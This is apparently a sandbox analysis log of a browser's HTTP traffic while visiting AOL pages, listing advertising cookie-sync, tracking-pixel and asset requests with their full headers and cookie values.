Source: global traffic	HTTP traffic detected: GET /track/cmf/openx?oxid=2f4e4a4a-a7cf-7e41-e12e-a7af7a615756&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgAigCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=ttd&uid=3e077bb4-bf4a-4c19-933e-c98ddd88142e&gdpr=0&gdpr_consent= HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifX19
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_hm=MDMyMTk5ODAtNmViOC0yMGU1LWY0Y2UtZmQxNmIwODM5OTM2 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=yieldmo_dbm&google_cm&pn_id=c HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836; ts=1716503699
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rp&google_cm&google_hm=TFdKVFpBQk4tWC1LNFBX&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=561118&ev=1&rurl=https%3a%2f%2fads.yieldmo.com/v000/sync?userid=%%VGUID%%&pn_id=pp&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&us_privacy= HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: V=7WXU1ZUhF2Kx; VP=part_7WXU1ZUhF2Kx; pb_rtb_ev=3-1rj5\|7bq.0.1; pb_rtb_ev_part=3-1rj5\|7bq.0.1; INGRESSCOOKIE=c5b45f34918a01ee
Source: global traffic	HTTP traffic detected: GET /usersync?b=pbm&i=BD0DE19C-09D4-4B62-A188-46A0D2E6C177 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /usersync?b=sad&i=8330378466080050028 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/common.5a5e92d32c044529.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cmpStub.min.js HTTP/1.1Host: consent.cmp.oath.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/aol_footer.a6b7d6a1bc8e39ac.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/aol_header.f181955cb1e46a84.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psstatic/aolhelp-prod/18.5.53/assets/css/aolv2.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /os/help-main/assets/js/modernizr-2.8.3.min.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=76&user_group=2&ssp=gumgum2&gdpr=0&user_id=GxUkpk4XKfUAEiP4GRY99E4QdfkAQXaiHkB5TLxF HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
Source: global traffic	HTTP traffic detected: GET /playback/v1/accounts/6415665815001/videos/6353510307112 HTTP/1.1Host: edge-auth.api.brightcove.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?c=72&r=2&j=TRC.getRTUS&us_privacy=1YNN&gdpr=0&gdpr_consent=&gdpr_pd= HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync2/rmp1r1?sub=medianet&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=68096438&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; pi=0:3; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; PugT=1716503703
Source: global traffic	HTTP traffic detected: GET /sync/rubicon/MaWhsZI84reAQR1PyDe2aA?csrc=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /us?https://contextual.media.net/cksync.php?cs=8&vsid=3595052986404735000V10&type=son&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=[UID] HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?partner=214&mapped=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel.onaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pubmatic/1/info?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent= HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /safeframe/1-0-40/html/container.html HTTP/1.1Host: a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=dit&i=di_11fba54761394fc5986e8 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: simage4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; pi=0:3; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; PugT=1716503703
Source: global traffic	HTTP traffic detected: GET /usersync?b=bsw&i=ad3998d2-fd62-4225-919d-66f459efadb2&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
